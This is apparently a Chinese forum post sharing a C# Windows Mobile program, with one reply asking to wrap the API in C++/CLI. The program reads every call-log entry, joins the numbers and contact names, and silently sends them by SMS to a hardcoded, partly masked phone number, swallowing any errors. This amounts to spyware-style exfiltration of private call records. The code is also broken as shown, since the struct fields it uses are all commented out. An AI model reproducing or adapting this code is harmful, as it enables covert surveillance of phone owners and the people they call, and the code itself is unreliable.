废话少说，看看代码

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.WindowsMobile.PocketOutlook;

namespace ReturnCall
{

    class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct CALLLOGENTRY
        {
            /*
            public UInt32 cbSize;
            public UInt64 ftStartTime;
            public UInt64 ftEndTime;
            public short iom;

            public bool fOutgoing;
            public bool fConnected;
            public bool fEnded;

            public bool fRoam;
            public short cidt;
            public IntPtr pszNumber;
            public IntPtr pszName;
            public IntPtr pszNameType;
            public IntPtr pszNote;
             */
        };
        [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
        private static extern int PhoneOpenCallLog(ref IntPtr pHandle);



        [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
        private static extern int PhoneCloseCallLog(IntPtr pHandle);



        [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
        private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);


        static void Main(string[] args)
        {
            {
                string CallInfo = "";

                try
                {
                    IntPtr handle = IntPtr.Zero;

                    CALLLOGENTRY entry = new CALLLOGENTRY();
                    PhoneOpenCallLog(ref handle);
                    entry.cbSize = (uint)Marshal.SizeOf(entry);

                    if (handle != IntPtr.Zero)
                    {
                        while (PhoneGetCallLogEntry(handle, ref entry) == 0)
                        {

                            string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
                            string name = Marshal.PtrToStringUni(entry.pszName);

                            if (phoneNumber == null)
                            {
                                phoneNumber = string.Empty;
                            }

                            if (name == null)
                            {
                                name = string.Empty;
                            }

                            string temp = (phoneNumber.Trim() + name.Trim());
                            CallInfo = CallInfo + temp;
                        }
                        PhoneCloseCallLog(handle);
                        Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
                        sms.Send();
                    }
                    else
                    {

                        int error = Marshal.GetLastWin32Error();
                    }
                }
                catch (Exception ep)
                {
                }
                finally
                {
                }
            }

        }
    }
}

1楼Funniest昨天 13:19

呵呵，这API挺简单啊，能用c++/cli封装一下吗？